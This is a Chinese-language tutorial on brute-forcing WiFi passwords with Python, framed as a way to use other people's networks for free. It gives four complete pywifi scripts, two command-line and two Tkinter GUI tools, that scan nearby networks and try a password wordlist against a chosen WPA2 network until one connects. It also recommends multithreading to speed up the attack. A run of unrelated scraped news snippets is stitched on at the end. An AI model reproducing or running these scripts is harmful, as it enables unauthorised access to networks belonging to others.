范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文

用Python破解WiFi密码,太刺激了

  本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。
  无图形界面
  先来看看没有图形界面版的爆破脚本。
  WIFI爆破
  import pywifi from pywifi import const import time import datetime   # 测试连接,返回链接结果 def wifiConnect(pwd):     # 抓取网卡接口     wifi = pywifi.PyWiFi()     # 获取第一个无线网卡     ifaces = wifi.interfaces()[0]     # 断开所有连接     ifaces.disconnect()     time.sleep(1)     wifistatus = ifaces.status()     if wifistatus == const.IFACE_DISCONNECTED:         # 创建WiFi连接文件         profile = pywifi.Profile()         # 要连接WiFi的名称         profile.ssid = "Tr0e"         # 网卡的开放状态         profile.auth = const.AUTH_ALG_OPEN         # wifi加密算法,一般wifi加密算法为wps         profile.akm.append(const.AKM_TYPE_WPA2PSK)         # 加密单元         profile.cipher = const.CIPHER_TYPE_CCMP         # 调用密码         profile.key = pwd         # 删除所有连接过的wifi文件         ifaces.remove_all_network_profiles()         # 设定新的连接文件         tep_profile = ifaces.add_network_profile(profile)         ifaces.connect(tep_profile)         # wifi连接时间         time.sleep(2)         if ifaces.status() == const.IFACE_CONNECTED:             return True         else:             return False     else:         print("已有wifi连接")     # 读取密码本 def readPassword():     success = False     print("****************** WIFI破解 ******************")     # 密码本路径     path = "pwd.txt"     # 打开文件     file = open(path, "r")     start = datetime.datetime.now()     while True:         try:             pwd = file.readline()             # 去除密码的末尾换行符             pwd = pwd.strip(" ")             bool = wifiConnect(pwd)             if bool:                 print("[*] 密码已破解:", pwd)                 print("[*] WiFi已自动连接!!!")                 success = True                 break             else:                 # 跳出当前循环,进行下一次循环                 print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd))         except:             continue     end = datetime.datetime.now()     if(success):         print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))     else:         print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")     exit(0)     if __name__=="__main__":     readPassword()
  代码运行效果:
  脚本优化
  以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下面进行改造优化:
  import pywifi import time from pywifi import const   # WiFi扫描模块 def wifi_scan():     # 初始化wifi     wifi = pywifi.PyWiFi()     # 使用第一个无线网卡     interface = wifi.interfaces()[0]     # 开始扫描     interface.scan()     for i in range(4):         time.sleep(1)         print("r扫描可用 WiFi 中,请稍后…(" + str(3 - i), end=")")     print("r扫描完成! " + "-" * 38)     print("r{:4}{:6}{}".format("编号", "信号强度", "wifi名"))     # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象     bss = interface.scan_results()     # 存放wifi名的集合     wifi_name_set = set()     for w in bss:         # 解决乱码问题         wifi_name_and_signal = (100 + w.signal, w.ssid.encode("raw_unicode_escape").decode("utf-8"))         wifi_name_set.add(wifi_name_and_signal)     # 存入列表并按信号排序     wifi_name_list = list(wifi_name_set)     wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)     num = 0     # 格式化输出     while num < len(wifi_name_list):         print("r{:<6d}{:<8d}{}".format(num, wifi_name_list[num][0], wifi_name_list[num][1]))         num += 1     print("-" * 38)     # 返回wifi列表     return wifi_name_list   # WIFI破解模块 def wifi_password_crack(wifi_name):     # 字典路径     wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")     with open(wifi_dic_path, "r") as f:         # 遍历密码         for pwd in f:             # 去除密码的末尾换行符             pwd = pwd.strip(" ")             # 创建wifi对象             wifi = pywifi.PyWiFi()             # 创建网卡对象,为第一个wifi网卡             interface = wifi.interfaces()[0]             # 断开所有wifi连接             interface.disconnect()             # 等待其断开             while interface.status() == 4:                 # 当其处于连接状态时,利用循环等待其断开                 pass             # 创建连接文件(对象)             profile = pywifi.Profile()             # wifi名称             profile.ssid = wifi_name             # 需要认证             profile.auth = const.AUTH_ALG_OPEN             # wifi默认加密算法             profile.akm.append(const.AKM_TYPE_WPA2PSK)             profile.cipher = const.CIPHER_TYPE_CCMP             # wifi密码             profile.key = pwd             # 删除所有wifi连接文件             interface.remove_all_network_profiles()             # 设置新的wifi连接文件             tmp_profile = interface.add_network_profile(profile)             # 开始尝试连接             interface.connect(tmp_profile)             start_time = time.time()             while time.time() - start_time < 1.5:                 # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)                 if interface.status() == 4:                     print(f"r连接成功!密码为:{pwd}")                     exit(0)                 else:                     print(f"r正在利用密码 {pwd} 尝试破解。", end="") # 主函数 def main():     # 退出标致     exit_flag = 0     # 目标编号     target_num = -1     while not exit_flag:         try:             print("WiFi万能钥匙".center(35, "-"))             # 调用扫描模块,返回一个排序后的wifi列表             wifi_list = wifi_scan()             # 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理             choose_exit_flag = 0             while not choose_exit_flag:                 try:                     target_num = int(input("请选择你要尝试破解的wifi:"))                     # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入                     if target_num in range(len(wifi_list)):                         # 二次确认                         while not choose_exit_flag:                             try:                                 choose = str(input(f"你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)"))                                 # 对用户输入进行小写处理,并判断                                 if choose.lower() == "y":                                     choose_exit_flag = 1                                 elif choose.lower() == "n":                                     break                                 # 处理用户其它字母输入                                 else:                                     print("只能输入 Y/N 哦o(* ̄︶ ̄*)o")                             # 处理用户非字母输入                             except ValueError:                                 print("只能输入 Y/N 哦o(* ̄︶ ̄*)o")                         # 退出破解                         if choose_exit_flag == 1:                             break                         else:                             print("请重新输入哦(*^▽^*)")                 except ValueError:                     print("只能输入数字哦o(* ̄︶ ̄*)o")             # 密码破解,传入用户选择的wifi名称             wifi_password_crack(wifi_list[target_num][1])             print("-" * 38)             exit_flag = 1         except Exception as e:             print(e)             raise e     if __name__ == "__main__":     main()
  脚本运行效果如下:
  上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称,并且可供用户自主选择需要暴力破解的 WIFI,同时还可灵活指定暴力破解的字典,相对而言体验感提升了不少。进一步也可以将上述脚本打包生成 exe 文件,双击运行效果如下:
  图形化界面
  下面基于 Python 的 GUI 图形界面开发库 Tkinter 优化上述脚本,实现友好的可视化 WIFI 暴力破解界面工具。关于 Tkinter 库的语法可参见:Python GUI编程(Tkinter)。
  简单版UI
  from tkinter import * from pywifi import const import pywifi import time     # 主要步骤: # 1、获取第一个无线网卡 # 2、断开所有的wifi # 3、读取密码本 # 4、设置睡眠时间 def wificonnect(str, wifiname):     # 窗口无线对象     wifi = pywifi.PyWiFi()     # 抓取第一个无线网卡     ifaces = wifi.interfaces()[0]     # 断开所有的wifi     ifaces.disconnect()     time.sleep(1)     if ifaces.status() == const.IFACE_DISCONNECTED:         # 创建wifi连接文件         profile = pywifi.Profile()         profile.ssid = wifiname         # wifi的加密算法         profile.akm.append(const.AKM_TYPE_WPA2PSK)         # wifi的密码         profile.key = str         # 网卡的开发         profile.auth = const.AUTH_ALG_OPEN         # 加密单元,这里需要写点加密单元否则无法连接         profile.cipher = const.CIPHER_TYPE_CCMP         # 删除所有的wifi文件         ifaces.remove_all_network_profiles()         # 设置新的连接文件         tep_profile = ifaces.add_network_profile(profile)         # 连接         ifaces.connect(tep_profile)         time.sleep(3)         if ifaces.status() == const.IFACE_CONNECTED:             return True         else:             return False     def readPwd():     # 获取wiif名称     wifiname = entry.get().strip()     path = r"./pwd.txt"     file = open(path, "r")     while True:         try:             # 读取             mystr = file.readline().strip()             # 测试连接             bool = wificonnect(mystr, wifiname)             if bool:                 text.insert(END, "密码正确" + mystr)                 text.see(END)                 text.update()                 file.close()                 break             else:                 text.insert(END, "密码错误" + mystr)                 text.see(END)                 text.update()         except:             continue   # 创建窗口 root = Tk() root.title("wifi破解") root.geometry("500x400") # 标签 label = Label(root, text="输入要破解的WIFI名称:") # 定位 label.grid() # 输入控件 entry = Entry(root, font=("微软雅黑", 14)) entry.grid(row=0, column=1) # 列表控件 text = Listbox(root, font=("微软雅黑", 14), width=40, height=10) text.grid(row=1, columnspan=2) # 按钮 button = Button(root, text="开始破解", width=20, height=2, command=readPwd) button.grid(row=2, columnspan=2) # 显示窗口 root.mainloop()
  脚本运行效果:
  UI升级版
  以上图形界面未允许选择密码字典,下面进行优化升级:
  from tkinter import * from tkinter import ttk import pywifi from pywifi import const import time import tkinter.filedialog  # 在Gui中打开文件浏览 import tkinter.messagebox  # 打开tkiner的消息提醒框   class MY_GUI():     def __init__(self, init_window_name):         self.init_window_name = init_window_name         # 密码文件路径         self.get_value = StringVar()  # 设置可变内容         # 获取破解wifi账号         self.get_wifi_value = StringVar()         # 获取wifi密码         self.get_wifimm_value = StringVar()         # 抓取网卡接口         self.wifi = pywifi.PyWiFi()         # 抓取第一个无线网卡         self.iface = self.wifi.interfaces()[0]         # 测试链接断开所有链接         self.iface.disconnect()         time.sleep(1)  # 休眠1秒         # 测试网卡是否属于断开状态         assert self.iface.status() in                 [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]       def __str__(self):         # 自动会调用的函数,返回自身的网卡         return "(WIFI:%s,%s)" % (self.wifi, self.iface.name())     # 设置窗口     def set_init_window(self):         self.init_window_name.title("WIFI破解工具")         self.init_window_name.geometry("+500+200")         labelframe = LabelFrame(width=400, height=200, text="配置")  # 框架,以下对象都是对于labelframe中添加的         labelframe.grid(column=0, row=0, padx=10, pady=10)         self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)         self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)         self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)         self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)         self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)         self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)         self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)         self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)         self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)         self.wifi_labelframe = LabelFrame(text="wifi列表")         self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)         # 定义树形结构与滚动条         self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))         self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)         self.wifi_tree.configure(yscrollcommand=self.vbar.set)         # 表格的标题         self.wifi_tree.column("a", width=50, anchor="center")         self.wifi_tree.column("b", width=100, anchor="center")         self.wifi_tree.column("c", width=100, anchor="center")         self.wifi_tree.column("d", width=100, anchor="center")         self.wifi_tree.heading("a", text="WiFiID")         self.wifi_tree.heading("b", text="SSID")         self.wifi_tree.heading("c", text="BSSID")         self.wifi_tree.heading("d", text="signal")         self.wifi_tree.grid(row=4, column=0, sticky=NSEW)         self.wifi_tree.bind("", self.onDBClick)         self.vbar.grid(row=4, column=1, sticky=NS)       # 搜索wifi     def scans_wifi_list(self):  # 扫描周围wifi列表         # 开始扫描         print("^_^ 开始扫描附近wifi...")         self.iface.scan()         time.sleep(15)         # 在若干秒后获取扫描结果         scanres = self.iface.scan_results()         # 统计附近被发现的热点数量         nums = len(scanres)         print("数量: %s" % (nums))         # 实际数据         self.show_scans_wifi_list(scanres)         return scanres     # 显示wifi列表     def show_scans_wifi_list(self, scans_res):         for index, wifi_info in enumerate(scans_res):             self.wifi_tree.insert("", "end", values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))       # 添加密码文件目录     def add_mm_file(self):         self.filename = tkinter.filedialog.askopenfilename()         self.get_value.set(self.filename)       # Treeview绑定事件     def onDBClick(self, event):         self.sels = event.widget.selection()         self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])     # 读取密码字典,进行匹配     def readPassWord(self):         self.getFilePath = self.get_value.get()         self.get_wifissid = self.get_wifi_value.get()         pwdfilehander = open(self.getFilePath, "r", errors="ignore")         while True:             try:                 self.pwdStr = pwdfilehander.readline()                 if not self.pwdStr:                     break                 self.bool1 = self.connect(self.pwdStr, self.get_wifissid)                 if self.bool1:                     self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)                     self.get_wifimm_value.set(self.pwdStr)                     tkinter.messagebox.showinfo("提示", "破解成功!!!")                     print(self.res)                     break                 else:                     self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)                     print(self.res)                 time.sleep(3)             except:                 continue       # 对wifi和密码进行匹配     def connect(self, pwd_Str, wifi_ssid):         # 创建wifi链接文件         self.profile = pywifi.Profile()         self.profile.ssid = wifi_ssid  # wifi名称         self.profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放         self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法         self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元         self.profile.key = pwd_Str  # 密码         self.iface.remove_all_network_profiles()  # 删除所有的wifi文件         self.tmp_profile = self.iface.add_network_profile(self.profile)  # 设定新的链接文件         self.iface.connect(self.tmp_profile)  # 链接         time.sleep(5)         if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上             isOK = True         else:             isOK = False         self.iface.disconnect()  # 断开         time.sleep(1)         # 检查断开状态         assert self.iface.status() in                 [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]         return isOK     def gui_start():     init_window = Tk()     ui = MY_GUI(init_window)     print(ui)     ui.set_init_window()     init_window.mainloop()     if __name__ == "__main__":     gui_start()
  脚本运行效果如下:
  以上基于 Python 的 GUI 图形界面开发库 Tkinter,实际上 Python 的 GUI 编程可以借助 PyQt5 来自动生成 UI 代码,相关教程可参见:PyQt5设计GUI(一)pycharm中配置pyqt5。
  总结
  本文学习了 Python 暴力破解 WIFI 密码的方法、以及 Python GUI 图形化编程的基础使用。
  所演示的代码的不足在于均没有使用多线程进行 WIFI 连接测试,实际上因为 WIFI 连接测试需要一定的耗时(3-5秒),故使用多线程将能减少暴力破解过程的等待时间。

上海久事男篮鲨回主场,遗憾不敌吉林男篮错过主场首胜2023年3月3日晚进行的20222023赛季CBA常规赛第30轮比赛,上海久事男篮首次坐镇主场浦发银行东方体育中心,迎战吉林九台农商银行男篮。双方激战至最后一秒,上海久事男篮最终董宇辉终于公布了择偶标准!在直播卖发带的时候,董宇辉终于说出了自己的择偶标准!说到自己特别喜欢的女孩的样子,他双手捂着眼睛一直傻笑个不停,笑完还说感觉自己笑得像个变态!然后他描述了自己喜欢的女孩样子穿个长裙CBA最佳裁判杨宏峰无惧教练施压,尊重职业操守,维护规则20222023赛季CBA联赛浙江东阳光(广厦)战胜广东大益男篮,杜锋全场施压裁判,并且在现场广东球迷喊出黑哨的情况下,居然做出鼓励球迷继续呐喊的动作,比赛结束以后,杨宏峰裁判被两中国特色估值,真的是投资机会吗?中字头大涨,基建又疯了。咱就从基建说起吧。关于基建股,我之前写过两篇分析文章2021年9月,3700到了,我却哭了!2022年2月,大郎,快跑!两次结论一致一基建不是个好行业二基建济南起步区塔吊林立,描绘项目突破新图景春回大地,万物勃发。当前,建设集团深入贯彻落实全市项目突破年安排部署,全面融入城市发展热潮,围绕146总体工作思路,立足主责主业,全力抓好开局,多个基础设施项目建设正紧锣密鼓推进。关山月美术馆推出馆藏版画里的和美家园,69件版画作品展现大美中国关山月美术馆日前推出馆藏作品研究系列展之馆藏版画里的和美家园,在该馆的三楼DE展厅向市民展出69件馆藏精品,集中呈现新中国成立以来,广大人民群众火热的劳动场面与建设美好家园的生动情有料化工早参丙二醇环氧丙烷苯酚等市场早间提示能化品市场行情33市场继续看好中国经济和需求前景,且美国石油钻井数量再次下降,国际油价四连涨。NYMEX原油期货04合约79。68涨1。52美元桶或1。94ICE布油期货05合约8造船新势力在长沙崛起大船厂不愿意造的,小船厂造不了的,我们来造造船新势力在长沙崛起由湘船重工建造的全国内河最先进的海事综合应急指挥船海事01,2021年12月在武汉正式列编长江海事局。(资料照片)通讯在大不过鸡蛋的心脏上雕刻!襄阳1280克超早产儿成功接受手术3月2日,襄阳市第一人民医院顺利为一个纠正胎龄31周体重1280克的早产极低体重患儿,成功实施动脉导管结扎手术。据了解,该患儿因母胎膜早破时间长不得已在孕6个多月时提前娩出,出生时浪费的kindle,没有规划的10年kindle重刷安卓系统有感kindle购入已经有接近10年的时间,一开始制定了一个雄心勃勃的读书计划,导出搜索书单,设想如果手头不够宽裕,从网上书店购买不起书能够从哪些盗版网站搜索书籍,包括如何导入,如何同保姆(七)蔓红一下就坐起来,打开灯,把孩子抱起来。高家将的眼睛瞪得大大的,直直地盯着门板,大哭。乖乖,不哭噢!高家将根本不理睬。乖乖,不怕高家将的哭声越拉越长。你到底是怎么了?蔓红急得满头是
出境游搜索量增加东南亚航班票价下降伴随国际及地区航线相继复航,航班量供应增多,国际及地区机票价格特别是飞往东南亚地区的机票价格节后开始回落。今日,记者从去哪儿平台了解到,2月份飞往东南亚地区的机票价格较春节期间下降需要控分?詹皇生涯数据更新,距得分王差88分,5项数据历史前二湖人对战尼克斯的比赛,詹姆斯全场出战42分钟,25投11中,拿到28分10篮板11助攻的数据,职业生涯第106次三双。老詹目前只需要88分就能追平贾巴尔的得分记录,要想在主场完成超假期结束冒痘不断学会这4点摆脱痘痘肌1月30日,记者采访西安市红会医院皮肤科主任李萍了解到,痘痘在医学上称为痤疮,发病机制与皮肤屏障密切相关,皮脂分泌增多毛囊皮脂腺导管上皮角化过度致病性痤疮丙酸杆菌的定植喜食辛辣油腻乒坛消息!奥运冠军积分告急,伊藤美诚孤军奋战,六朵金花围剿2月1日,WTT安曼支线赛正式拉开帷幕。这是国乒新年以来,参加的第五站赛事,回顾前四次的征程,小将们发挥得可圈可点共拿到13枚金牌,遗憾的是两次男单铩羽而归。本次安曼赛,教练团队依恩比德抱怨判罚魔术哨子太多,身背五犯我很难防守76人以109119不敌魔术。赛后,76人中锋乔尔恩比德接受了记者的采访。本场比赛,恩比德出战33分钟,21投11中,其中三分球3投1中,罚球11投7中,得到30分11篮板5助攻2中国男网三人刷新生涯最高排名,张之臻即时排名第90位进入新年,中国网球又迎来了一个好消息。1月31日,中国男子网球选手张之臻迎来赛季单打首胜。同时,他的世界排名也来到第92位,即时排名更是来到第90位,刷新了中国大陆男网的新历史。在联盟大变天!湖人1换5正式报价勇士,詹姆斯和库里各取所需湖人和勇士队在本赛季的战绩都没有达到球迷和管理层的预期,其中勇士队作为卫冕冠军,现在竟然没有进入西部前5湖人队更是连附加赛的名次都没有进入,因此两支球队也是都想对阵容进行一些改变和三双助攻里程碑湖人加时胜尼克斯,持续记录更新老詹生涯总数据北京时间2023年2月1日在今日结束的NBA常规赛中,湖人客场以129123加时战胜尼克斯队。老詹本场比赛数据上场43分钟28分10板11助1断0冒三分8投2中5失误25投11中1大连人王牌外援助谢晖挺直腰板,下赛季继续压着打大连人在刚结束不久的本赛季,在本土主帅谢晖的带领下,依靠压着打的战术,不仅成功完成了保级任务,而且让大连人成为了中超最受关注的球队之一,包括商隐孙国文闫相闯等在中超打拼多年的老将都德约科维奇将重回北美赛季,美网障碍清除,大满贯第一人指日可待作为2023年世界网坛大满贯第一站,澳大利亚网球公开赛见证了两位伟大的球员登顶,其中男单赛场,澳网第一人塞尔维亚名将德约科维奇时隔一年再度回归,一波七连胜,特别是决赛中连下三盘横扫加内特拿MVP的赛季有多恐怖?巅峰邓肯奥尼尔基德只能是绿叶提起20032004赛季的加内特,到现在都还让人为之激动,那时候的加内特还被称为狼王,当时也是联盟最全能及最华丽的大前锋,而个人状态更是到达了最巅峰状态,这也帮助加内特拿下了职业生